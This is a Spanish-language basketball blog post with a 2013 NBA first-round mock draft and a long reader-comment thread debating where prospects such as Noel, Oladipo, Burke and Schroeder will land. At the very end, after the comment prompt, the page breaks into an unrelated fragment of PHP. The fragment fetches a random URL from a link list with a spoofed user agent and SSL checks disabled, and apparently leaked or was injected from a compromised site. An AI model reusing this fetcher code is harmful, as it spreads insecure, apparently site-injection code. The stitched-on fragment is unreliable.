TJNBA Mock draft v 3.0

25 de June de 2013 por Jose_Dantley

El próximo jueves en el Barclays Center de Brooklyn, Nueva York, tendrá lugar a las 7 de la tarde hora local (1 de la madrugada en España) el draft 2013 de la NBA. Como ya hemos tenido ocasión de comentar anteriormente, las predicciones nos pronostican un draft huérfano de estrellas aunque bastante profundo. Realizaremos en los próximos días alguna actualización de última hora y alguna ronda de rumores según se vayan produciendo.

La imprevisibilidad de este draft es notable, empezando por el propio número 1. Cleveland elegirá casi con toda probabilidad entre Nerlens Noel, Alex Len, Otto Porter, Ben McLemore y con una probabilidad menor, Anthony Bennett. Tres de estos cinco candidatos están lesionados, lo que añade aún más incertidumbre a la decisión.

Sin más preámbulo, nos atrevemos a pronosticar toda la primera ronda.

1. Cleveland Cavaliers: Nerlens Noel PF/C – 19 años/ 7’0″/ 206 lb -Kentucky, Freshman

2. Orlando Magic: Victor Oladipo SG – 21 años/ 6’4″/ 213 lb -Indiana, Junior

3. Washington Wizards: Otto Porter SF – 19 años/ 6’9″/ 198 lb -Georgetown, Sophomore

4. Charlotte Bobcats: Alex Len C – 19 años/ 7’1″/ 255 lb -Maryland, Sophomore

5. Phoenix Suns: Ben McLemore SG – 20 años/ 6’5″/ 189 lb -Kansas, Freshman

6. New Orleans Pelicans: Trey Burke PG – 20 años/ 6’1″/ 187 lb -Michigan, Sophomore

7. Sacramento Kings: Anthony Bennett SF/PF – 20 años/ 6’7″/ 239 lb -UNLV, Freshman

8. Detroit Pistons: C.J. McCollum PG/SG – 21 años/ 6’3″/ 197 lb -Lehigh, Senior

9. Minnesota Timberwolves: Kentavious Caldwell-Pope SG – 20 años/ 6’6″/ 204 lb -Georgia, Sophomore

10. Portland Trail Blazers: Steven Adams C – 19 años/ 7’0″/ 255 lb -Pittsburgh, Freshman

11. Philadelphia 76ers: Cody Zeller PF/C – 20 años/ 7’0″/ 230 lb -Indiana, Sophomore

12. Oklahoma City Thunder: Kelly Olynyk C – 22 años/ 7’0″/ 234 lb -Gonzaga, Junior

13. Dallas Mavericks: Giannis Antetokoumpo SF – 18 años/ 6’9″/ 196 lb -Filathlitikos, International

14. Utah Jazz: Michael Carter-Williams PG – 21 años/ 6’6″/ 184 lb -Syracuse, Sophomore

15. Milwaukee Bucks: Shane Larkin PG – 20 años/ 5’11″/ 171 lb -Miami FL, Sophomore

16. Boston Celtics: Shabazz Muhammad SF – 20 años/ 6’6″/ 222 lb -UCLA, Freshman

17. Atlanta Hawks: Sergey Karasev SG/SF – 19 años/ 6’7″/ 197 lb -Triumph Moscow, International

18. Atlanta Hawks: Mason Plumlee C – 23 años/ 7’0″/ 238 lb -Duke, Senior

19. Cleveland Cavaliers: Reggie Bullock SF – 22 años/ 6’7″/ 200 lb -North Carolina, Junior

20. Chicago Bulls: Jeff Withey C – 23 años/ 7’0″/ 222 lb -Kansas, Senior

21. Utah Jazz: Lucas Nogueira C – 20 años/ 6’11″/ 215 lb -Estudiantes, International

22. Brooklyn Nets: Gorgui Dieng C – 23 años/ 6’11″/ 230 lb -Louisville, Junior

23. Indiana Pacers: Tony Mitchell PF – 21 años/ 6’9″/ 236 lb -North Texas, Sophomore

24. New York Knicks: Jamaal Franklin SG/SF – 21 años/ 6’5″/ 191 lb -San Diego State, Junior

25. Los Angeles Clippers: Ricky Ledo SG – 20 años/ 6’6″/ 197 lb -Providence, Freshman

26. Minnesota Timberwolves: Rudy Gobert C – 20 años/ 7’2″/ 238 lb -Cholet, International

27. Denver Nuggets: Glen Rice JR SG/SF – 22 años/ 6’6″/ 211 lb -Rio Grande Valley, Senior

28. San Antonio Spurs: Dennis Schroeder PG – 19 años/ 6’2″/ 165 lb -Braunschweig, International

29. Oklahoma City Thunder: Tim Hardaway Jr SG – 21 años/ 6’6″/ 185 lb -Michigan, Junior

30. Phoenix Suns: Tony Snell SF – 21 años/ 6’7″/ 198 lb -New Mexico, Junior

Comenta

32 comentarios a esta entrada

  1. txusma dice:
    #1

    Iba a comentar cosas del draft en el post de Orlando pero mejor lo hago aquí.

    Parece que el techo del mejor jugador del draft (Noel) es Mutombo y creo q todos estamos de acuerdo que Mutombo, a pesar de ser muy importante, no te saca de pobres ni te da anillos. Necesitas algo más. Por eso, yo considero excesivo asumir el riesgo en la primera elección por un tio como él, que está tocado de ambas rodillas y basa todo su juego en el físico.
    El comentario viene relacionado con la posible elección de Orlando. Si los Cavs lo dejen pasar y pillan a Porter o Len, mi elección sí o sí, sería Oladipo o incluso McLemore si buscamos un mejor tiro exterior. Traerte un Noel, con el riesgo que comporta, cuando tienes a Vucevic, Nicholson, Harris, etc. en el equipo me parece contraproducente.

      Citar

  2. Simon dice:
    #2

    De acuerdo Txus. En el caso de Cleveland que no tiene interiores el riesgo para mi si merece la pena. Pero en el caso de Orlando no necesitan para nada a Noel…
    Mis opiniones a allgunas elecciones:
    – muy bajo cae Schoreder en este mock no??? Yo creo que de Utah no pasa.
    – Muhammad de Bucks tampoco pasa y pensandolo bien sería un lugar optimo para ambos. Muhammad ahi va a poder tirarse todos los melones que quieran y en Bucks necesitan que alguien comparta mandarinas con Jennings… ( este lo van a retener si o si, y creo que por menos dinero del esperado… )
    – Menuda lástima para Oklahoma que Zeller vaya a salir delante de sus narices, de Philadelphia no pasa… sería un jugador que les vendría que ni pintado, se tendrán que conformar con Olynik

      Citar

  3. Denise dice:
    #3

    txusma: Iba a comentar cosas del draft en el post de Orlando pero mejor lo hago aquí.Parece que el techo del mejor jugador del draft (Noel) es Mutombo y creo q todos estamos de acuerdo que Mutombo, a pesar de ser muy importante, no te saca de pobres ni te da anillos. Necesitas algo más. Por eso, yo considero excesivo asumir el riesgo en la primera elección por un tio como él, que está tocado de ambas rodillas y basa todo su juego en el físico.El comentario viene relacionado con la posible elección de Orlando. Si los Cavs lo dejen pasar y pillan a Porter o Len, mi elección sí o sí, sería Oladipo o incluso McLemore si buscamos un mejor tiro exterior. Traerte un Noel, con el riesgo que comporta, cuando tienes a Vucevic, Nicholson, Harris, etc. en el equipo me parece contraproducente.

    +10000.

    De todas formas, se está siendo bastante negativo con este Draft, todos los años hay un pick 15 ó un pick 28 que acaba convirtiendose en un buen jugador, y este Draft no va a ser menos.
    Me gustaría que OKC diera con uno de esos “robos” en el pick 12.

    De los que no aparecen en los top 10 de los mocks, los mejores me parecen Muhammad (y sigue cayendo hacia abajo no sé por qué), Rudy Gobert , y el aleman Schroeder que puede ser uno de los robos.

      Citar

  4. TheDeerHunter dice:
    #4

    Pues entonces Noel ha engañado a casi la totalidad de los GM de la NBA… o todos están jugando al despiste.

    Yo, de momento, abro apuestas a que es el 1… o como muy bajo el 2. Y si de verdad fuera un Mutombo… se mataban para pillarlo.

      Citar

  5. txusma dice:
    #5

    TheDeerHunter:
    Pues entonces Noel ha engañado a casi la totalidad de los GM de la NBA… o todos están jugando al despiste.

    Yo, de momento, abro apuestas a que es el 1… o como muy bajo el 2. Y si de verdad fuera un Mutombo… se mataban para pillarlo.

    En la ESPN han pedido a muchos GM que pusieran una nota del 0 al 10 a los jugadores que se presentan. El 0 vendría a ser jugador que no tiene nada q hacer en la liga y el 10, futuro HoF. El número 1 no ha sido Noel, sinó Oladipo.
    Por otro lado, Noel no es un número 1 unánime en los mocks como si lo eran Kyrie Irving (y eso que tb venía lesionado) o Anthony Davis. Otra cosa es que Cleveland se pueda permitir apostar por él ya q lo viene por detrás, o tampoco le acabe de convencer o no se ajuste a sus necesidades.

      Citar

  6. TheDeerHunter dice:
    #6

    He visto el artículo. Ha habido uno que le ha votado con un 4 y eso ha intoxicado algo la nota. Nadie ha votado con un 10 a Oladipo pero la mayoría sí ha votado con un 10 a Noel.

    Yo no digo que Noel pueda estar a la altura de elecciones cantadas como Irving o Davis, admito que es un riesgo… pero viendo lo que hay alrededor, especialmente el tal Oladipo, podría merecer la pena jugársela en según qué circunstancias. Y el riesgo son las rodillas, que digo yo los GM estarán mejor informados al respecto que nosotros… porque si hubiera llegado sano sí estaríamos hablando de una elección tan cantada o más que lo de Irving y Davis.

      Citar

  7. txusma dice:
    #7

    TheDeerHunter:

    Yo no digo que Noel pueda estar a la altura de elecciones cantadas como Irving o Davis, admito que es un riesgo… pero viendo lo que hay alrededor, especialmente el tal Oladipo, podría merecer la pena jugársela en según qué circunstancias. Y el riesgo son las rodillas, que digo yo los GM estarán mejor informados al respecto que nosotros… porque si hubiera llegado sano sí estaríamos hablando de una elección tan cantada o más que lo de Irving y Davis.

    Sin dudarlo. Un Noel sano sería un número 1 cantado. Las dudas aparecen precisamente pq Noel se ha roto las rodillas 2 veces a los 20 años y no se le ha visto mucho más que un juego defensivo impresionante basado más en la potencia que en la colocación, por ejemplo.
    De todas maneras, no creo q nos encontremos ante un caso Sam Bowie, es decir, que si lo coges a él, no parece que detrás suyo vaya a venir un Jordan.

      Citar

  8. Denise dice:
    #8

    TheDeerHunter: He visto el artículo. Ha habido uno que le ha votado con un 4 y eso ha intoxicado algo la nota. Nadie ha votado con un 10 a Oladipo pero la mayoría sí ha votado con un 10 a Noel.

    ¿Podeis poner un link del articulo?
    Yo creo que Cavs van a elegir a Noel pero posiblemente lo metan en un trade. Creo que bastantes jugadores de este Draft van a ser monedas de cambio.

      Citar

  9. TheDeerHunter dice:
    #9

    Me temo que el artículo es insider, Denise.

    No consigo vislumbrar qué narices van a hacer los Cavs, porque no creo que quieran juntar a Noel con Varejao ahora mismo y tampoco necesitan un escolta pero si por una de esas llega a Noel a Orlando ¿Creéis sinceramente que lo van a dejar pasar?

      Citar

  10. Denise dice:
    #10

    TheDeerHunter: Me temo que el artículo es insider, Denise.No consigo vislumbrar qué narices van a hacer los Cavs, porque no creo que quieran juntar a Noel con Varejao ahora mismo y tampoco necesitan un escolta pero si por una de esas llega a Noel a Orlando ¿Creéis sinceramente que lo van a dejar pasar?

    Sí. Hay que dejarlo pasar, y mas aun Orlando que como se ha comentado ya tiene una bateria de hombres altos más que suficiente.
    Noel debería ir a parar a los Bobcats en el pick 4, que ya tienen experiencia en hacer malos picks.

      Citar

  11. TheDeerHunter dice:
    #11

      Citar

  12. txusma dice:
    #12

    De artículos tenemos muchos. Estos apuestan por Alex Len en el número 1 (aunque los Cavs andan con ganas de traspasar la elección) y Noel en el 4. Lo q significa que Orlando pasaría de Noel.

    http://www.sheridanhoops.com/2013/06/24/mock-draft-6-0-1-len-still-no-1-but-cavs-would-trade-pick/

    Estos también colocan a Alex Len en el número 1 y Noel en el 4

    http://nbadraft.net/2013mock_draft

      Citar

  13. melo15 dice:
    #13

    Creo que es uno de los Drafts mas inciertos de los ultimos años no creeis?
    Creo que si Noel es elegido en el primer pick seria para traspasarlo y dudo que los Magic se arriesguen a escogerlo. De todas maneras de Phoenix no pasa seguro.
    Despues esta Len, que yo lo cogeria antes que a Noel y Bennet, que puede salir en el 3 o bajar mucho.
    Yo me decanto por Noel en la primera seguido de: McLemore, Porter, Bennet, Len, Burke, Oladipo. McCollum, Muhammad, Adams, Zeller, Olynyk y Carter-Williams.

      Citar

  14. Denise dice:
    #14

    TheDeerHunter: Pues otro articulo:http://espn.go.com/blog/truehoop/post/_/id/60244/magic-ready-to-pounce-if-noel-falls-to-no-2

    Articulos así hay muchos sobre Burke, Oladipo, Porter…no te puedes fiar.

    Lo que si toma fuerza en los medios de Orlando es que el día del Draft se anunciará el traspaso Butler + Bledsoe por Afflalo, lo que dejaría las puertas abiertas a Orlando para draftear a un SG (McLemore ú Oladipo)

      Citar

  15. jose_dantley dice:
    #15

    Mis opiniones a allgunas elecciones:
    – muy bajo cae Schoreder en este mock no??? Yo creo que de Utah no pasa.
    – Muhammad de Bucks tampoco pasa y pensandolo bien sería un lugar optimo para ambos. Muhammad ahi va a poder tirarse todos los melones que quieran y en Bucks necesitan que alguien comparta mandarinas con Jennings… ( este lo van a retener si o si, y creo que por menos dinero del esperado… )

    No tengo nada claro de Schroeder. El hecho de que Biyombo haya resultado ser menos de lo que parecía por un partido en la Nike Hoop Summit, creo que puede jugar en contra de Schroeder. Puede salir tan alto como en el 13 con Dallas, pero también caer tan bajo como el 28. El caso es que ahora mismo todos los habituales le tienen en el 21, y sabemos que Utah busca un base. En este mock he supuesto algo muy arriesgado, que Carter-Williams cae hasta la 14 y lo pilla Utah. Si no fuera así, estoy de acuerdo que es más que probable que en la 21 caiga, aunque también se escucha que gusta Canaan, y también que si Larkin cayera, en Utah estarían encantados.

    Respecto a Muhammad, podría incluso ir a Detroit en la 8, o la 14 de Utah o efectivamente la 15 de los Bucks.

    A ver lo que se cuece mañana y el jueves.

      Citar

  16. jose_dantley dice:
    #16

    Denise: +10000.
    De todas formas, se está siendo bastante negativo con este Draft, todos los años hay un pick 15 ó un pick 28 que acaba convirtiendose en un buen jugador, y este Draft no va a ser menos.
    Me gustaría que OKC diera con uno de esos “robos” en el pick 12.

    De los que no aparecen en los top 10 de los mocks, los mejores me parecen Muhammad (y sigue cayendo hacia abajo no sé por qué), Rudy Gobert , y el aleman Schroeder que puede ser uno de los robos.

    Este draft una vez pasados los 6 o 7 primeras, es está por encima de bastantes drafts recientes, aunque tampoco demasiado arriba, pero efectivamente, se puede pillar al próximo George, Leonard, Stephenson o quien sabe si algún Ginobili.

    Eso sí, apuesto a que Muhammad no es uno de ellos, y a que Gobert quizá mejore algo la trayectoria de Thabeet. Más confío en Nogueira o Adams, o en las opciones menos “intriguing” pero más seguras de Withey, Dieng o Plumlee. Y antes que a Muhammad, draftearía a opciones menos chuponas y que aporten algo más en defensa. Tres datos de Muhammad: en 32 partidos a 30 minutos por partido, o sea, 1.000 minutos ha repartido 27 asistencias, colocado 4 tapones y robado 23 bolas. Porter 84/28/57.

    Schroeder ni idea, para mí es una incógnita total. Se puede beneficiar de que los bases que le disputarían ese tercer puesto tras MCW y Burke -considerando a McCollum combo-, tienen algún problema sea de tamaño -Larkin, Canaan, Jackson, Siva-, o de blandura -Wolters, McCallum, Brown-, o de no tener definida la posición a otro nivel -Green. En cualquier caso, de ahí van a salir algunos buenos suplentes al menos y quizá algún buen titular, el problema es adivinar cual, que igual acaba siendo Schroeder.

      Citar

  17. jose_dantley dice:
    #17

    melo15:
    Yo me decanto por Noel en la primera seguido de: McLemore, Porter, Bennet, Len, Burke, Oladipo. McCollum, Muhammad, Adams, Zeller, Olynyk y Carter-Williams.

    Perfectísimamente posible este mock. Aunque Caldwell-Pope parece “semioficial” que no pasa de los Wolves, aunque si pasara, lo más probable es que acabara fuera de lotería.

      Citar

  18. Ruxixón dice:
    #18

    De Schroeder hablan maravillas la verdad,vamos a ver si es hype previo al draft o verdaderamente hay equipos que han hecho promesa (Utah con su 14 se rumorea) o Bucks (con el 15).Oladipo también es de los que mejor valorados están en estos días previos -creo que en este caso su valoración siempre ha sido alta- y lo mismo con Len (comparación con Ilgauskas,Cleveland…de que me suena…pero un vale un pick 1??).

    Y curiosamente los menos hypeados están siendo Burke y McLemore,hablando de malas entrevistas,workouts poco prometedores…¿realidad o ficción?A saber

      Citar

  19. Sancho88 dice:
    #19

    Sobre Minnesota también se ha hablado de un traspaso con los Nets, MarShon Brooks a cambio de JJ Barea o Ridnour, o incluso alguna operación con Kirilenko, al que Prhokorov lleva intentando echarle el anzuelo desde hace dos años. Así que pueden apostar por Pope o buscar algún alero tipo Muhammad si al final Kirilenko se va a los Nets.

    Sobre Muhammad, no sería descabellado verlo en 7º posición con los Kings. Ha hecho dos workouts, Malone está muy contento por las ganas que le pone, y realmente, de todos los workouts que han hecho en Sacramento, Muhammad parece el más comprometido de todos. Burke declinó entrenarse con Carter-Williams, por si acaso se veían sus defectos físicos, y a Zeller le vi empanadisimo. Además, Muhammad tiene familia en Sacramento, un tío suyo jugó al fútbol americano en Kansas City y su hermana juega al tenis en un equipo también de allí. El tipo se ha criado en California y ha triunfado en Ucla. No veo por qué sería una mala opción para los Kings, que no tienen alero desde hace años y además este tipo ha declarado que quiere triunfar allí. Ahora bien, que se haya intentado vender bien para no caer muy abajo y cobrar más pasta? Es también posible.

    Sobre este draft, opino que no es tan malo como lo pintan, que hay grandes jugadores como Noel, McLemore, Burke, McCollum, y que otros como Porter, Bennet o Oladipo pueden encajar en la liga nada más llegar. No sé, puede que nos llevemos sorpresas porque a priori todo el mundo dice que es un draft bastante malo pero yo no creo que sea así

      Citar

  20. jose_dantley dice:
    #20

    Dato interesante. La lista de invitados a la Green Room es:

    Alex Len, C.J. McCollum, Ben McLemore, Nerlens Noel, Victor Oladipo, Otto Porter, Cody Zeller, Steven Adams, Anthony Bennett, Trey Burke, Kentavious Caldwell-Pope, Michael Carter-Williams, Sergey Karasev

    De momento hay 13 según Givony de Draftexpress. Está nuestro top 11, más MCW que lo tenemos 14 aunque supongo que subirá y Karasev que lo tenemos el 17. Quizá Dallas draftée a Karasev y acuerde mantenerlo un año en Europa.

    Ausencias: Olynyk y Muhammad entre los candidatos a lotería.

      Citar

  21. Melo15 dice:
    #21

    Como veis los workouts de los equipos?
    Yo creo que el jugador con mas potencial es Bennet. Ofensivamente lo tiene todo, es fuerte, atletico y va sobrao de tecnica.
    Otra preguntita, ese tal Larry Johnson con quien se le compara de que jugaba de 3 o de 4? No parece gran cosa la verdad.

      Citar

  22. risax mj dice:
    #22

    Este draf me parece un poko pobre la verdad pero bueno ay k darles la oportunidad que se merecen

      Citar

  23. jose_dantley dice:
    #23

    Larry Johnson es lo que aspira a ser Bennett. Lo recuerdo como de buenos movimientos y al mismo tiempo bestiajo. Se me va la memoria pero diría que le birlaron el concurso de mates. Rookie del año, aunque estaba Charlotte -el actual New Orleans- empezando

      Citar

  24. Denise dice:
    #24

    Y a todo esto, como funciona la ceremonia del Draft? Los GM no eligen sobre la marcha, no? aunque la ceremonía se celebre por la tarde hora local, las posiciones han quedado definidas en una reunión al mediodía o algo así, en el que cada GM va eligiendo delante de los demás?
    La verdad es que agradecería que alguien me explicase el protocolo del evento.

      Citar

  25. dunc dice:
    #25

    Yo recuerdo a Larry Johnson en los Knicks con Spreewell y Houston, creo recordar que era ya veterano.

    Enchufaba bastante de 3 (recuerdo un gesto que hacía cuando los metia) y en el poste bajo era muy bueno, aprovechando su culaco y su anchura. El mejor 4 por 4 de la liga le llamaba Montes

    Si Bennett es el nuevo Larry Johnson debería ser top 3.

      Citar

  26. dunc dice:
    #26

    Bufff, acabo de ver el scouting report de Bennett y me parece con diferencia abismal el interior con más clase del draft. Creo que podría aportar desde el primer momento y que suple sus carencias fisicas con mucha clase.

    La comparación técnica con Noel o Len es de broma, parece que acaban de empezar a jugar a esto.

    Y …solo tiene 19 años!

      Citar

  27. Viva_Dirk dice:
    #27

    Ahora mismo el que ha perdido mucho protagonismo es Trey Burke, ¿no?. Antes aparecia en quinielas de top3 y ahora mismo nadie parece apostar por el.

      Citar

  28. safd dice:
    #28

    Denise:
    Y a todo esto, como funciona la ceremonia del Draft? Los GM no eligen sobre la marcha, no? aunque la ceremonía se celebre por la tarde hora local, las posiciones han quedado definidas en una reunión al mediodía o algo así, en el que cada GM va eligiendo delante de los demás?
    La verdad es que agradecería que alguien me explicase el protocolo del evento.

    Pues la ceremonia en si consiste en que Stern va saliendo cada 5 minutos (creo que eran 5, de lo que no me acuerdo es si con la segunda ronda disminuia el tiempo, me suelo quedar dormido antes de llegar a la segunda ronda XD) que son los que tienen cada equipo para confirmar la eleccion de draft o hacer algun trade y va diciendo todo el rato: con el pick X los Y seleccionan a Z, les dan una gorra y la mano de Stern para la foto. Vaya, si no lo has visto antes no te esperes la ceremonia de los Grammy… pero en verdad mola con tanto rumor XD

    Las posiciones del draft se saben desde hace ya bastante si te refieres a eso, por el record.

    Viva_Dirk:
    Ahora mismo el que ha perdido mucho protagonismo es Trey Burke, ¿no?. Antes aparecia en quinielas de top3 y ahora mismo nadie parece apostar por el.

    Bueno la mayoria de mocks apuestan por el en el pick 6, y realmente en el top3 solo lo hubiese drafteado los Magic, asique es algo logico que ronde el 6-7 como se habla ahora…

      Citar

  29. Denise dice:
    #29

    safd: Pues la ceremonia en si consiste en que Stern va saliendo cada 5 minutos (creo que eran 5, de lo que no me acuerdo es si con la segunda ronda disminuia el tiempo, me suelo quedar dormido antes de llegar a la segunda ronda XD) que son los que tienen cada equipo para confirmar la eleccion de draft o hacer algun trade y va diciendo todo el rato: con el pick X los Y seleccionan a Z, les dan una gorra y la mano de Stern para la foto. Vaya, si no lo has visto antes no te esperes la ceremonia de los Grammy… pero en verdad mola con tanto rumor XDLas posiciones del draft se saben desde hace ya bastante si te refieres a eso, por el record.Bueno la mayoria de mocks apuestan por el en el pick 6, y realmente en el top3 solo lo hubiese drafteado los Magic, asique es algo logico que ronde el 6-7 como se habla ahora…

    Gracias tio, lo de cuando sale Stern y habla bla bla lo sabía, lo que creía es que la elección de jugadores digamos que era horas antes de la ceremonia, y lo que es la ceremonia en sí creia que solo era para dar a conocer al publico los nombres de los jugadores elegidos en alguna reunion privada un par de horas antes.
    Pero entonces según me cuentas, los GM van seleccionando sobre la marcha en la misma ceremonia.

      Citar

  30. Denise dice:
    #30

    Viva_Dirk: Ahora mismo el que ha perdido mucho protagonismo es Trey Burke, ¿no?. Antes aparecia en quinielas de top3 y ahora mismo nadie parece apostar por el.

    Yo no creo que caiga muy abajo. Orlando previsiblemente lo va a dejar pasar, y luego será seleccionado o por los Pelicans en el pick 6 (Vazquez acaba contrato en 2014 y puede pedir una pasta para renovar) ó por los Pistons en el pick 8 (Burke es un idolo en Michigan, y Stuckey no da la talla). De ahí no creo que pase.

      Citar

  31. Sancho88 dice:
    #31

    Orlando es improbable que elija a Burke estando McLemore de por medio, y más con la jugada del cambio Afflalo x Bledsoe+Butler. Además, Nelson ha jugado una gran temporada, y junto a Bledsoe podrían llevar el equipo sin ningún problema, aparte de que necesitan un veterano para llevar la guardería, que si no se pueden desvocar como les pasó a los Wizards cuando Wall era rookie.

    Entonces, suponiendo que nadie lo va a elegir en el top 3, porque realmente no lo necesitan, parece claro que Sacramento o Detroit podrían elegirlo. Ninguno de los dos tiene un base determinante, ya que Thomas y Knight no te van a llevar a unos playoffs, y Burke está por ver, pero por potencial puede ser que sí. Yo lo veo ahí, 7 u 8 como mucho, y si ninguno de ellos lo eligiese (que lo dudo), entonces Burke bajaría hasta el 13 (Dallas) o el 14 (Utah). Como además, Dallas va a hacer la operación con Karasev casi seguro como apuntáis, la lista se me reduce a Sacramento, Detroit o Utah. Para los Pelicans sería un error draftear a Burke. Ellos necesitan un alero. No sé si Porter llegará al pick 6, pero les vendría de perlas, y además no tiene sentido ir a por Burke teniendo en el equipo a uno de los mejores pasadores de la liga como es Vásquez.

    Entonces eso, Burke va a ser top 15 seguro, pero no top 5, y sus opciones pasan por Sacramento, Detroit o Utah, donde caería como agua de mayo. No va a tener un contrato multimillonario al principio de su carrera, pero son tres proyectos donde puede desarrollar todo su talento.

      Citar

  32. jose_dantley dice:
    #32

    El te ma de Burke está en si los Pelicans ven o no una opción mejor. Si les llega Len preferirán a Len, con Bennett no lo veo claro porque no está nada claro si podría tener minutos de 3 y el 4 lo tienen muy bien cubierto. En Sacramento, los últimos rumores es que gusta mucho McCollum y no disgusta Carter Williams. Pero creo que de Detroit no pasaría. O sea, entre 6 y 8, y más probable el 6 si no les llegase Len o más dificil Oladipo o McLemore.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>